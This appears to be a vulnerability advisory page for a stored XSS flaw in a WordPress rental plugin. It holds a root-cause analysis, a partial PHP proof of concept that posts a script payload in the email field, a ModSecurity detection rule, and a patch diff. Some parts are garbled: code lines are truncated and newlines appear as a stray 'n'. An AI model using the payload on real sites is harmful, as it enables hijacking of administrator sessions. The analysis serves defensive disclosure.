“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-16143:nnAtomic Edge analysis confirms a stored cross-site scripting (XSS) vulnerability in the VikRentItems payment system for WordPress, impacting versions up to and including 1.2.1. An unauthenticated attacker can exploit the customer email field in the booking checkout form. The vulnerability has a CVSS score of 7.2 due to its unauthenticated nature and ability to execute arbitrary scripts in the admin panel.nnRoot Cause: The root cause lies in the saveorder() function within the site/controller.php file. This function retrieves the customer email via VikRequest::getString(), which applies sanitize_text_field(). This sanitization strips tags and encodes some characters, but it does not neutralize double quotes or other HTML attribute-breaking characters. The raw value is stored in the database. Later, the admin editorder template (admin/views/editorder/tmpl/default.php) echoes this stored value directly into an HTML input element’s value attribute without using esc_attr(). The vulnerable line is `<input type="text" name="custmail" id="custmail" value="” size=”25″/>`. This lack of output escaping allows an attacker to break out of the attribute and inject arbitrary HTML or JavaScript.nnExploitation: An attacker can exploit this by submitting a booking form with a crafted value in the customer email field. The payload must be designed to break out of the value attribute of the input field. For example, an attacker could submit `”>alert(document.cookie)` as the email. The server-side sanitization with sanitize_text_field() will not remove the double quotes or script tags. This payload will be stored in the database. When an administrator views the order in the backend, the vulnerable template echoes the value without escaping, causing the browser to interpret the injected script.nnPatch Analysis: The patch addresses the vulnerability in the admin/views/editorder/tmpl/default.php file by wrapping the output in the JHtml::fetch(‘esc_attr’, …) function. This function, equivalent to WordPress’s esc_attr(), HTML-encodes special characters such as double quotes, single quotes, and angle brackets. This neutralizes any attempt to break out of the HTML attribute context. The patch changes the vulnerable line to `<input type="text" name="custmail" id="custmail" value="” size=”25″/>`. The patch also includes additional output escaping fixes in the oconfirm template and the admin customer search results, indicating a comprehensive hardening of output contexts.nnImpact: Successful exploitation allows an unauthenticated attacker to inject arbitrary client-side scripts. These scripts execute in the context of any authenticated user who accesses the order editing page in the WordPress admin panel. The impact is significant as an attacker can potentially steal admin session cookies, capture keystrokes, perform actions on behalf of the admin, or deface the administrative interface, leading to full site compromise.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-16143 – VikRentItems Flexible Rental Management System <= 1.2.1 – Unauthenticated Stored Cross-Site Scriptingnnalert(/XSS-CVE-2026-16143/)’;nn// Prepare the POST data for the booking form submission.n// The ‘vrif’ parameters are custom fields; we need to include the ‘custmail’ field.n$post_data = array(n ‘option’ => ‘com_vikrentitems’,n ‘task’ => ‘saveorder’,n ‘custmail’ => $payload, // The malicious email addressn ‘firstname’ => ‘Test’,n ‘lastname’ => ‘User’,n ‘country’ => ‘US’,n ‘phone’ => ‘1234567890’,n // … other required parameters for the form, you may need to inspect the plugin’s checkout.php to get a full listn // For the purpose of this PoC, we only provide the essential ones.n ‘iditem’ => ‘1’, // valid item ID may be requiredn ‘ritiro’ => date(‘Y-m-d’, strtotime(‘+1 day’)),n ‘consegna’ => date(‘Y-m-d’, strtotime(‘+2 days’)),n ‘adults’ => ‘1’,n ‘children’ => ‘0’,n);nn// Initialize cURL sessionn$ch = curl_init();nn// Set cURL optionsncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36’);nn// Execute the request and capture the responsen$response = curl_exec($ch);nn// Check for errorsnif (curl_errno($ch)) {n echo ‘cURL error: ‘ . curl_error($ch) . “\n”;n} else {n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n echo “HTTP Status Code: ” . $http_code . “\n”;n echo “Response Body (first 500 chars): \n” . substr($response, 0, 500) . “\n”;n n // Check if the payload was accepted.n // A typical successful response may contain a redirect or specific text. n // The key is that the payload is stored; we can’t directly verify storage from here.n // We can just indicate completion.n echo “\n[+] Exploit submitted. If the booking was successful, the payload has been stored.\n”;n echo “[+] Access the admin order edit page to see the XSS trigger.\n”;n}nn// Close the cURL sessionncurl_close($ch);nn?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-16143n# Block unauthenticated stored XSS attempts targeting the VikRentItems ‘custmail’ field.n# The rule focuses on the booking checkout form submission (admin-ajax.php) with the specific action and parameter.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” “id:202616143,phase:2,deny,status:403,chain,msg:’CVE-2026-16143 via VikRentItems custmail field’,severity:’CRITICAL’,tag:’CVE-2026-16143′”n SecRule ARGS_POST:action “@streq saveorder” “chain”n SecRule ARGS_POST:custmail “@rx <script|javascript:|on[a-z]+=|src=|href=" "t:urlDecode,t:lowercase"n"
“`

CVE-2026-16143: VikRentItems Flexible Rental Management System <= 1.2.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule
CVE-2026-16143
vikrentitems
1.2.1
1.2.2
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/vikrentitems/admin/controller.php
+++ b/vikrentitems/admin/controller.php
@@ -6019,7 +6019,7 @@
$cust_old_fields = array();
$cstring_search = '<div class="vri-custsearchres-inner">' . "n";
foreach ($customers as $k => $v) {
- $cstring_search .= '<div class="vri-custsearchres-entry" data-custid="'.$v['id'].'" data-email="'.$v['email'].'" data-phone="'.addslashes($v['phone']).'" data-country="'.$v['country'].'" data-pin="'.$v['pin'].'" data-firstname="'.addslashes($v['first_name']).'" data-lastname="'.addslashes($v['last_name']).'">'."n";
+ $cstring_search .= '<div class="vri-custsearchres-entry" data-custid="' . (int) $v['id'] . '" data-email="' . htmlspecialchars($v['email']) . '" data-phone="' . htmlspecialchars($v['phone']) . '" data-country="' . htmlspecialchars($v['country']) . '" data-pin="' . htmlspecialchars($v['pin']) . '" data-firstname="' . htmlspecialchars($v['first_name']) . '" data-lastname="' . htmlspecialchars($v['last_name']) . '">'."n";
$cstring_search .= '<span class="vri-custsearchres-cflag">';
if (is_file(VRI_ADMIN_PATH.DIRECTORY_SEPARATOR.'resources'.DIRECTORY_SEPARATOR.'countries'.DIRECTORY_SEPARATOR.$v['country'].'.png')) {
$cstring_search .= '<img src="'.VRI_ADMIN_URI.'resources/countries/'.$v['country'].'.png'.'" title="'.$v['country'].'" class="vri-country-flag"/>'."n";
@@ -6027,7 +6027,7 @@
$cstring_search .= '<i class="' . VikRentItemsIcons::i('globe') . '"></i>';
}
$cstring_search .= '</span>';
- $cstring_search .= '<span class="vri-custsearchres-name" title="'.$v['email'].'">'.$v['first_name'].' '.$v['last_name'].'</span>'."n";
+ $cstring_search .= '<span class="vri-custsearchres-name" title="' . htmlspecialchars($v['email']) . '">'.$v['first_name'].' '.$v['last_name'].'</span>'."n";
if (!($nopin > 0)) {
$cstring_search .= '<span class="vri-custsearchres-pin">'.$v['pin'].'</span>'."n";
}
@@ -8081,6 +8081,165 @@
}
/**
+ * Hidden task to scan all database tables of VikRentItems to ensure the column `id` is
+ * defined as a primary key and got an auto-increment extra flag properly defined and set.
+ * We've noticed that some third-party plugins used to migrate WP sites may break the
+ * primary keys, and so new records won't get an ID.
+ *
+ * @since 1.8.2 (J) - 1.2.2 (WP)
+ */
+ public function fix_autoincrement_tables()
+ {
+ if (!JFactory::getUser()->authorise('core.admin', 'com_vikrentitems')) {
+ VRIHttpDocument::getInstance()->close(403, JText::translate('JERROR_ALERTNOAUTHOR'));
+ }
+
+ $dbo = JFactory::getDbo();
+
+ // load all the installed database tables
+ $tables = $dbo->getTableList();
+
+ // get current database prefix
+ $prefix = $dbo->getPrefix();
+
+ // replace prefix with placeholder
+ $tables = array_map(function($table) use ($prefix)
+ {
+ return preg_replace("/^{$prefix}/", '#__', $table);
+ }, $tables);
+
+ // remove all the tables that do not belong to VikRentItems
+ $tables = array_values(array_filter($tables, function($table)
+ {
+ if (preg_match("/^#__vikrentitems_config$/", $table))
+ {
+ // exclude the configuration table, which will be handled in a different way
+ return false;
+ }
+
+ return preg_match("/^#__vikrentitems_/", $table);
+ }));
+
+ foreach ($tables as $table) {
+ $columns = $dbo->getTableColumns($table, false);
+ if (!isset($columns['id']) || empty($columns['id']->Type) || !empty($columns['id']->Extra)) {
+ continue;
+ }
+
+ echo 'Fixing ' . $table. ' for missing auto-increment<br/><pre>' . print_r($columns['id'], true) . '</pre><br/>';
+
+ // set auto-increment and primary key
+ $dbo->setQuery("ALTER TABLE `{$table}` MODIFY `id` " . $columns['id']->Type . " NOT NULL AUTO_INCREMENT PRIMARY KEY;");
+ $dbo->execute();
+
+ // count next auto-increment
+ $dbo->setQuery("SELECT MAX(`id`) FROM `{$table}`");
+ $next_ai = (int) $dbo->loadResult() + 1;
+
+ // update next auto-increment value
+ $dbo->setQuery("ALTER TABLE `{$table}` AUTO_INCREMENT = {$next_ai}");
+ $dbo->execute();
+ }
+ }
+
+ /**
+ * Hidden task to (re-)run the update queries from a given plugin version.
+ * Useful to ensure the database structure is up-to-date and no update queries went lost.
+ *
+ * @since 1.8.2 (J) - 1.2.2 (WP)
+ */
+ public function run_update_queries()
+ {
+ $app = JFactory::getApplication();
+ $dbo = JFactory::getDbo();
+
+ if (!JFactory::getUser()->authorise('core.admin', 'com_vikrentitems')) {
+ VRIHttpDocument::getInstance($app)->close(403, JText::translate('JERROR_ALERTNOAUTHOR'));
+ }
+
+ $from_version = $app->input->getString('from_version');
+
+ if (empty($from_version)) {
+ VRIHttpDocument::getInstance()->close(400, 'Missing from version value.');
+ }
+
+ // determine the SQL updates directory path
+ $sql_updates_path = '';
+ if (VRIPlatformDetection::isWordPress()) {
+ $sql_updates_path = implode(DIRECTORY_SEPARATOR, [VIKRENTITEMS_BASE, 'sql', 'update', 'mysql']);
+ } else {
+ $sql_updates_path = implode(DIRECTORY_SEPARATOR, [VRI_ADMIN_PATH, 'sql', 'updates', 'mysql']);
+ }
+
+ if (!$sql_updates_path || !is_dir($sql_updates_path)) {
+ VRIHttpDocument::getInstance()->close(500, 'Could not find SQL updates path.');
+ }
+
+ // read all SQL update files
+ $sql_update_files = JFolder::files($sql_updates_path, '.sql', $recurse = false, $full = true);
+
+ // filter SQL files with just the valid ones
+ $sql_update_files = array_filter($sql_update_files, function($sql_update_file) use ($from_version) {
+ $file_version = basename($sql_update_file, '.sql');
+ return version_compare($file_version, $from_version, '>=');
+ });
+
+ // sort files by version ascending
+ usort($sql_update_files, function($a, $b) {
+ return version_compare(basename($a, '.sql'), basename($b, '.sql'));
+ });
+
+ if (!$sql_update_files) {
+ VRIHttpDocument::getInstance()->close(500, sprintf('Could not find any suitable SQL update file from version %s.', $from_version));
+ }
+
+ $success_queries = 0;
+
+ foreach ($sql_update_files as $file) {
+ $handle = fopen($file, 'r');
+
+ $bytes = '';
+ while (!feof($handle)) {
+ $bytes .= fread($handle, 8192);
+ }
+
+ fclose($handle);
+
+ if (VRIPlatformDetection::isWordPress()) {
+ $queries_list = JDatabaseHelper::splitSql($bytes);
+ } else {
+ try {
+ $queries_list = JoomlaDatabaseDatabaseDriver::splitSql($bytes);
+ } catch(Throwable $e) {
+ $app->enqueueMessage(sprintf('Error splitting queries: %s', $e->getMessage()), 'error');
+ $queries_list = [];
+ }
+ }
+
+ foreach ($queries_list as $q) {
+ try {
+ $dbo->setQuery($q);
+ $result = $dbo->execute();
+ } catch (Exception $e) {
+ $result = false;
+ $app->enqueueMessage(sprintf('Error executing query: %s', $e->getMessage()), 'warning');
+ }
+
+ if ($result) {
+ $success_queries++;
+ }
+ }
+ }
+
+ if ($success_queries) {
+ $app->enqueueMessage(sprintf('Successful queries: %d', $success_queries), 'success');
+ }
+
+ // send response to output
+ echo '<pre>'.print_r($sql_update_files, true).'</pre><br/>';
+ }
+
+ /**
* @since 1.5.0 (J) - 1.0.0 (WP)
*/
public function newcondtext()
--- a/vikrentitems/admin/helpers/conditional_rules.php
+++ b/vikrentitems/admin/helpers/conditional_rules.php
@@ -490,8 +490,8 @@
*/
$cond_texts[$token]['msg'] = preg_replace_callback("/s*(src|href)=(["'])(.*?)["']/i", function($match) {
// check if the URL starts with the base domain
- if (stripos($match[3], JUri::root()) !== 0 && !preg_match("/^(https?://|www.)/i", $match[3])) {
- // prepend base domain to URL
+ if (stripos($match[3], JUri::root()) !== 0 && !preg_match("/^(https?://|www.|{)/i", $match[3])) {
+ // safely prepend base domain to URL
$match[0] = ' ' . $match[1] . '=' . $match[2] . JUri::root() . $match[3] . $match[2];
}
return $match[0];
--- a/vikrentitems/admin/helpers/src/model/backup.php
+++ b/vikrentitems/admin/helpers/src/model/backup.php
@@ -81,6 +81,12 @@
$backup->type->id = implode('_', $chunks);
+ if (empty($backup->type->id))
+ {
+ // unexpected file format
+ return null;
+ }
+
// try to fetch the matching export type
$type = $this->getExportTypes($backup->type->id);
--- a/vikrentitems/admin/models/license.php
+++ b/vikrentitems/admin/models/license.php
@@ -213,8 +213,8 @@
'filename' => $tmp . DIRECTORY_SEPARATOR . 'vikrentitemspro.zip',
// make sure the request is non blocking
'blocking' => true,
- // force timeout to 60 seconds
- 'timeout' => 60,
+ // force timeout to 120 seconds
+ 'timeout' => 120,
// disable the SSL peer verification
'sslverify' => false,
);
--- a/vikrentitems/admin/views/calendar/tmpl/default.php
+++ b/vikrentitems/admin/views/calendar/tmpl/default.php
@@ -14,7 +14,6 @@
$msg = $this->msg;
$allc = $this->allc;
$payments = $this->payments;
-$busy = $this->busy;
$vmode = $this->vmode;
$pickuparr = $this->pickuparr;
$dropoffarr = $this->dropoffarr;
@@ -386,7 +385,7 @@
<?php
$check = false;
$nowtf = VikRentItems::getTimeFormat(true);
- if (empty($busy)) {
+ if (empty($this->busy)) {
echo "<p class="warn">".JText::translate('VRNOFUTURERES')."</p>";
} else {
$check = true;
@@ -461,7 +460,7 @@
$bid = "";
$totfound = 0;
if ($check) {
- foreach ($busy as $b) {
+ foreach ($this->busy as $b) {
$tmpone = getdate($b['ritiro']);
$ritts = mktime(0, 0, 0, $tmpone['mon'], $tmpone['mday'], $tmpone['year']);
$tmptwo = getdate($b['consegna']);
--- a/vikrentitems/admin/views/calendar/view.html.php
+++ b/vikrentitems/admin/views/calendar/view.html.php
@@ -334,15 +334,12 @@
VikError::raiseWarning('', 'Invalid Dates');
}
}
-
- $busy = "";
+
$mints = mktime(0, 0, 0, date('m'), 1, date('Y'));
- $q = "SELECT `b`.*,`ob`.`idorder`,`o`.`closure` FROM `#__vikrentitems_busy` AS `b` LEFT JOIN `#__vikrentitems_ordersbusy` `ob` ON `ob`.`idbusy`=`b`.`id` LEFT JOIN `#__vikrentitems_orders` `o` ON `o`.`id`=`ob`.`idorder` WHERE `b`.`iditem`='".$itemrows['id']."' AND (`b`.`ritiro`>=".$mints." OR `b`.`consegna`>=".$mints.");";
+ $maxts = strtotime('+13 months', $mints);
+ $q = "SELECT `b`.*,`ob`.`idorder`,`o`.`closure` FROM `#__vikrentitems_busy` AS `b` LEFT JOIN `#__vikrentitems_ordersbusy` `ob` ON `ob`.`idbusy`=`b`.`id` LEFT JOIN `#__vikrentitems_orders` `o` ON `o`.`id`=`ob`.`idorder` WHERE `b`.`iditem`='" . $itemrows['id'] . "' AND `b`.`ritiro` <= " . $maxts . " AND `b`.`consegna` >= " . $mints . ";";
$dbo->setQuery($q);
- $dbo->execute();
- if ($dbo->getNumRows() > 0) {
- $busy = $dbo->loadAssocList();
- }
+ $busy = $dbo->loadAssocList();
$q = "SELECT `id`,`name` FROM `#__vikrentitems_items` ORDER BY `#__vikrentitems_items`.`name` ASC;";
$dbo->setQuery($q);
--- a/vikrentitems/admin/views/editbusy/tmpl/default.php
+++ b/vikrentitems/admin/views/editbusy/tmpl/default.php
@@ -475,7 +475,7 @@
<?php echo JText::translate('VREDITORDERTWO'); ?>
</div>
<div class="vri-editbooking-custarea">
- <textarea name="custdata"><?php echo htmlspecialchars($ord[0]['custdata']); ?></textarea>
+ <textarea name="custdata"><?php echo JHtml::fetch('esc_textarea', $ord[0]['custdata']); ?></textarea>
</div>
</div>
<div class="vri-bookingdet-detcont">
--- a/vikrentitems/admin/views/editorder/tmpl/default.php
+++ b/vikrentitems/admin/views/editorder/tmpl/default.php
@@ -496,7 +496,7 @@
?>
<div class="vri-bookingdet-detcont vri-hidein-print">
<label for="custmail"><?php echo JText::translate('VRQRCUSTMAIL'); ?></label>
- <input type="text" name="custmail" id="custmail" value="<?php echo $row['custmail']; ?>" size="25"/>
+ <input type="text" name="custmail" id="custmail" value="<?php echo JHtml::fetch('esc_attr', $row['custmail']); ?>" size="25"/>
<?php if (!empty($row['custmail'])) : ?> <button type="button" class="btn vri-config-btn" onclick="vriToggleSendEmail();" style="vertical-align: top;"><i class="vriicn-envelop"></i><?php echo JText::translate('VRSENDEMAILACTION'); ?></button><?php endif; ?>
</div>
<?php
--- a/vikrentitems/defines.php
+++ b/vikrentitems/defines.php
@@ -12,7 +12,7 @@
defined('ABSPATH') or die('No script kiddies please!');
// Software version
-define('VIKRENTITEMS_SOFTWARE_VERSION', '1.2.1');
+define('VIKRENTITEMS_SOFTWARE_VERSION', '1.2.2');
// Base path
define('VIKRENTITEMS_BASE', dirname(__FILE__));
--- a/vikrentitems/libraries/update/fixer.php
+++ b/vikrentitems/libraries/update/fixer.php
@@ -31,7 +31,11 @@
*/
public function __construct($version)
{
+ // bind version
$this->version = $version;
+
+ // main library
+ require_once VRI_SITE_PATH . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'lib.vikrentitems.php';
}
/**
@@ -84,6 +88,16 @@
*/
public function afterInstallation()
{
+ if (version_compare($this->version, '1.2.2', '<'))
+ {
+ $config = VRIFactory::getConfig();
+ if (strlen($config->getString('icalkey', '')) < 5)
+ {
+ // randomize key
+ $config->set('icalkey', VikRentItems::getCPinInstance()->generateSerialCode(8));
+ }
+ }
+
return true;
}
}
--- a/vikrentitems/libraries/update/manager.php
+++ b/vikrentitems/libraries/update/manager.php
@@ -74,19 +74,23 @@
*/
public static function install()
{
+ // main library
+ require_once VRI_SITE_PATH . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'lib.vikrentitems.php';
+
self::execSqlFile(VIKRENTITEMS_BASE . DIRECTORY_SEPARATOR . 'sql' . DIRECTORY_SEPARATOR . 'install.mysql.utf8.sql');
$dbo = JFactory::getDbo();
+ $config = VRIFactory::getConfig();
// create the configuration record with the email address of the current user
- $q = "INSERT INTO `#__vikrentitems_config` (`param`,`setting`) VALUES ('adminemail', " . $dbo->q(JFactory::getUser()->email) . ");";
- $dbo->setQuery($q);
- $dbo->execute();
+ $config->set('adminemail', JFactory::getUser()->email);
// footer must be disabled by default
- $q = "UPDATE `#__vikrentitems_config` SET `setting`='0' WHERE `param`='showfooter';";
- $dbo->setQuery($q);
- $dbo->execute();
+ $config->set('showfooter', 0);
+
+ // handle random secret and initial keys
+ $config->set('icalkey', VikRentItems::getCPinInstance()->generateSerialCode(8));
+ $config->set('cronkey', VikRentItems::getCPinInstance()->generateSerialCode(8));
// closing main text must not mention the name of the software
$q = "UPDATE `#__vikrentitems_texts` SET `setting`='' WHERE `param`='closingmain';";
@@ -495,6 +499,60 @@
}
/**
+ * Trigger called whenever a mirroring file has been deleted.
+ * Checks if the destination path is recognized, and attempts to
+ * delete the previously backed up file in order to never restore it.
+ *
+ * @param string $dest The path to the file just deleted.
+ *
+ * @return boolean True on success.
+ *
+ * @since 1.2.2
+ */
+ public static function triggerDeletionBackup($dest)
+ {
+ // seek the key of the uploaded dir
+ $dir_key = false;
+ foreach (self::getUploadBackupDirs(true) as $key => $path) {
+ if (strpos($dest, $path) !== false) {
+ $dir_key = $key;
+ break;
+ }
+ }
+ if (!$dir_key) {
+ // could not recognize upload dir path from destination file
+ return false;
+ }
+
+ // always make sure the upload backup dirs are set for bc with those that installed a previous version of the plugin
+ if (!self::installUploadBackup()) {
+ // cannot proceed because backup folders are not set
+ return false;
+ }
+
+ // import the File class
+ JLoader::import('adapter.filesystem.file');
+
+ // get the backup upload dir path for this type of file
+ $backup_dirs = self::getUploadBackupDirs();
+ if (!isset($backup_dirs[$dir_key])) {
+ // do not proceed
+ return false;
+ }
+
+ // build the full file path on the mirroring directory
+ $mirroredFilePath = $backup_dirs[$dir_key] . DIRECTORY_SEPARATOR . basename($dest);
+
+ if (!is_file($mirroredFilePath)) {
+ // do not proceed
+ return false;
+ }
+
+ // delete the file from its backup dir
+ return JFile::delete($mirroredFilePath);
+ }
+
+ /**
* Trigger called to back up all the files inside the path with the key
* passed. Useful to back up custom PHP files manually uploaded to extend
* the default Reports, Cron Jobs, SMS APIs to save a clone copy of these
--- a/vikrentitems/site/controller.php
+++ b/vikrentitems/site/controller.php
@@ -373,6 +373,10 @@
$suffdata = false;
break;
}
+ if ((bool) $cf['isemail'] && !strpos($tmpcfval, '@')) {
+ $suffdata = false;
+ break;
+ }
}
}
//save user email and create custdata array
@@ -438,9 +442,8 @@
$storenextdata = json_encode($nextorderdata);
$q = "SELECT `id` FROM `#__vikrentitems_usersdata` WHERE `ujid`='".(int)$currentUser->id."';";
$dbo->setQuery($q);
- $dbo->execute();
- if ($dbo->getNumRows() > 0) {
- $oldnextid = $dbo->loadAssocList();
+ $oldnextid = $dbo->loadAssocList();
+ if ($oldnextid) {
$q = "UPDATE `#__vikrentitems_usersdata` SET `data`=".$dbo->quote($storenextdata)." WHERE `id`='".(int)$oldnextid[0]['id']."';";
} else {
$q = "INSERT INTO `#__vikrentitems_usersdata` (`ujid`,`data`) VALUES('".(int)$currentUser->id."', ".$dbo->quote($storenextdata).");";
@@ -1778,25 +1781,25 @@
}
$nowtf = VikRentItems::getTimeFormat();
$icsname = date('Y-m-d_H_i_s');
- $icscontent = "BEGIN:VCALENDARn";
- $icscontent .= "VERSION:2.0n";
- $icscontent .= "PRODID:-//e4j//VikRentItems//ENn";
- $icscontent .= "CALSCALE:GREGORIANn";
- $icscontent .= "X-WR-TIMEZONE:".date_default_timezone_get()."n";
+ $icscontent = "BEGIN:VCALENDARrn";
+ $icscontent .= "VERSION:2.0rn";
+ $icscontent .= "PRODID:-//e4j//VikRentItems//ENrn";
+ $icscontent .= "CALSCALE:GREGORIANrn";
+ $icscontent .= "X-WR-TIMEZONE:".date_default_timezone_get()."rn";
/**
* Rely on a database record to calculate the end date of the calendar.
* This could be the pick up date (1 day) or the drop off date (full span).
* In a future, we could move this onto a manageable configuration setting.
*
- * @since 1.1.0
+ * @since 1.2.1
*/
- $calendar_endd_type = VikRentItems::getCalendarEndType();
+ $calendar_endd_type = VRIFactory::getConfig()->get('calendar_end_type', 'drop');
/**
* We allow to define a maximum date in the past for the orders to include.
*
- * @since 1.8.0 (J) - 1.2.0 (WP)
+ * @since 1.8.2 (J) - 1.2.2 (WP)
*/
$past_months = VRIFactory::getConfig()->getInt('ical_past_months', 0);
$info_date = getdate();
@@ -1811,38 +1814,86 @@
"LEFT JOIN `#__vikrentitems_places` `lp` ON `o`.`idplace`=`lp`.`id` ".
"LEFT JOIN `#__vikrentitems_places` `ld` ON `o`.`idreturnplace`=`ld`.`id` WHERE `o`.`status`='confirmed' AND `o`.`" . $end_type . "` > ".$lim_past_ts.($pelem > 0 ? " AND `oi`.`iditem`=".$pelem : "")." ORDER BY `o`.`ritiro` ASC;";
$dbo->setQuery($q);
- $dbo->execute();
- if ($dbo->getNumRows() > 0) {
- $rows = $dbo->loadAssocList();
+ $rows = $dbo->loadAssocList();
- $icalstr = "";
- foreach ($rows as $r) {
- $uri = VikRentItems::externalroute('index.php?option=com_vikrentitems&view=order&sid=' . $r['sid'] . '&ts=' . $r['ts'], false);
- $pickloc = $r['pickup_location_name'];
- $item = VikRentItems::getItemInfo($r['iditem'], $vri_tn);
- //$custdata = preg_replace('/s+/', ' ', trim($r['custdata']));
- $description = "x".$r['itemquant']." ".$item['name']."\n".date($df.' '.$nowtf, $r['ritiro']).' - '.date($df.' '.$nowtf, $r['consegna']).str_replace("n", "\n", trim($r['custdata']))."\n\nID ".$r['id'];
- $icalstr .= "BEGIN:VEVENTn";
- if ($calendar_endd_type == 'pickup') {
- $icalstr .= "DTEND;TZID=".date_default_timezone_get().":".date('YmdTHis', $r['ritiro'])."n";
- } else {
- $icalstr .= "DTEND;TZID=".date_default_timezone_get().":".date('YmdTHis', $r['consegna'])."n";
- }
- $icalstr .= "UID:".$r['id'].'_'.$r['sid'].'_'.$r['iditem']."n";
- $icalstr .= "DTSTAMP:".date('YmdTHisZ')."n";
- if (!empty($pickloc)) {
- $icalstr .= "LOCATION:".preg_replace('/([,;])/','\$1', $pickloc)."n";
- }
- $icalstr .= ((strlen($description) > 0 ) ? "DESCRIPTION:".preg_replace('/([,;])/','\$1', $description)."n" : "");
- $icalstr .= "URL;VALUE=URI:".preg_replace('/([,;])/','\$1', $uri)."n";
- $icalstr .= "SUMMARY:".JText::sprintf('VRIICSEXPSUMMARY', $item['name'], date($df.' '.$nowtf, $r['ritiro']))."n";
- $icalstr .= "DTSTART;TZID=".date_default_timezone_get().":".date('YmdTHis', $r['ritiro'])."n";
- $icalstr .= "END:VEVENTn";
+ if ($rows) {
+ /**
+ * Dispatch the event to allow third-party plugins to manipulate the booking records found.
+ *
+ * @since 1.8.2 (J) - 1.2.2 (WP)
+ */
+ VRIFactory::getPlatform()->getDispatcher()->trigger('onBeforeParseBookingsCalendar', [&$rows]);
+ }
+
+ /**
+ * In case of no bookings, we no longer send a 404 error code, but
+ * we rather deliver an empty calendar, yet syntactically valid.
+ *
+ * @since 1.8.2 (J) - 1.2.2 (WP)
+ */
+ $rows = is_array($rows) ? $rows : [];
+
+ // build ics content
+ $icalstr = "";
+
+ foreach ($rows as $r) {
+ $uri = VikRentItems::externalroute('index.php?option=com_vikrentitems&view=order&sid=' . $r['sid'] . '&ts=' . $r['ts'], false);
+
+ $pickloc = $r['pickup_location_name'];
+ $item = VikRentItems::getItemInfo($r['iditem'], $vri_tn);
+
+ $description = "x".$r['itemquant']." ".$item['name']."\n". date($df.' '.$nowtf, $r['ritiro']).' - '. date($df.' '.$nowtf, $r['consegna']). str_replace("n", "\n", trim($r['custdata'])). "\n\nID ".$r['id'];
+ $calendar_event = [
+ 'BEGIN' => 'VEVENT',
+ ];
+
+ if ($calendar_endd_type == 'pickup') {
+ $calendar_event["DTEND;TZID=".date_default_timezone_get()] = date('YmdTHis', $r['ritiro']);
+ } else {
+ $calendar_event["DTEND;TZID=".date_default_timezone_get()] = date('YmdTHis', $r['consegna']);
+ }
+
+ $calendar_event['UID'] = sha1($r['id'].'_'.$r['sid'].'_'.$r['iditem']);
+ $calendar_event['DTSTAMP'] = date('YmdTHisZ');
+
+ if (!empty($pickloc)) {
+ $calendar_event['LOCATION'] = preg_replace('/([,;])/', '\$1', $pickloc);
+ }
+
+ if (strlen($description) > 0) {
+ $calendar_event['DESCRIPTION'] = preg_replace('/([,;])/', '\$1', $description);
+ }
+
+ $calendar_event['URL;VALUE=URI'] = preg_replace('/([,;])/', '\$1', $uri);
+ $calendar_event['SUMMARY'] = JText::sprintf('VRIICSEXPSUMMARY', $item['name'], date($df.' '.$nowtf, $r['ritiro']));
+
+ $calendar_event["DTSTART;TZID=".date_default_timezone_get()] = date('YmdTHis', $r['ritiro']);
+
+ /**
+ * Dispatch the event to allow third-party plugins to manipulate
+ * the calendar event before it is written into the ICS file.
+ */
+ VRIFactory::getPlatform()->getDispatcher()->trigger('onBeforeSetItemCalendar', [&$calendar_event, $r]);
+
+ /**
+ * Third-party plugins could override the calendar, breaking the ICS file.
+ * We check if the calendar event is still valid before writing it into the ICS file.
+ */
+ if (!$calendar_event || empty($calendar_event['BEGIN'])) {
+ continue;
+ }
+
+ $calendar_event['END'] = 'VEVENT';
+
+ foreach ($calendar_event as $prop => $value) {
+ $event_line = "{$prop}:{$value}";
+ $icalstr .= implode("rn ", str_split($event_line, 75)) . "rn";
}
- $icscontent .= $icalstr;
}
+ $icscontent .= $icalstr;
}
- $icscontent .= "END:VCALENDARn";
+
+ $icscontent .= "END:VCALENDARrn";
header('Content-type: text/calendar; charset=utf-8');
header('Content-Disposition: attachment; filename=' . $icsname.'.ics');
echo $icscontent;
--- a/vikrentitems/site/helpers/cpin.php
+++ b/vikrentitems/site/helpers/cpin.php
@@ -31,48 +31,99 @@
}
/**
- * Generates a unique PIN for the customer
- * @param notpush
- */
- public function generateUniquePin($notpush = false) {
- $rand_pin = rand(10999, 99999);
- if ($this->pinExists($rand_pin)) {
- while ($this->pinExists($rand_pin)) {
- $rand_pin += 1;
- }
+ * Generates a serial code of a fixed length from a chars map.
+ *
+ * @param int $length The length of the serial code to generate.
+ * @param ?array $map Optional map of allowed characters.
+ *
+ * @return string
+ *
+ * @since 1.8.2 (J) - 1.2.2 (WP)
+ */
+ public function generateSerialCode(int $length = 8, ?array $map = null)
+ {
+ $code = '';
+
+ if (!$map) {
+ // use default tokens unless specified
+ $map = [
+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
+ '0123456789',
+ ];
+ }
+
+ // iterate until the specified length is reached
+ for ($i = strlen($code); $i < $length; $i++) {
+ // toss tokens block
+ $_row = rand(0, count($map) - 1);
+ // toss block character
+ $_col = rand(0, strlen($map[$_row]) - 1);
+
+ // append character to serial code
+ $code .= (string) $map[$_row][$_col];
}
+
+ return $code;
+ }
+
+ /**
+ * Generates a unique PIN number for the customer.
+ *
+ * @param bool $notpush True to avoid internal caching.
+ *
+ * @return string The unique pin-code string.
+ *
+ * @since 1.8.2 (J) - 1.2.2 (WP) pin length changed to 8 alphanumeric characters.
+ */
+ public function generateUniquePin($notpush = false)
+ {
+ do {
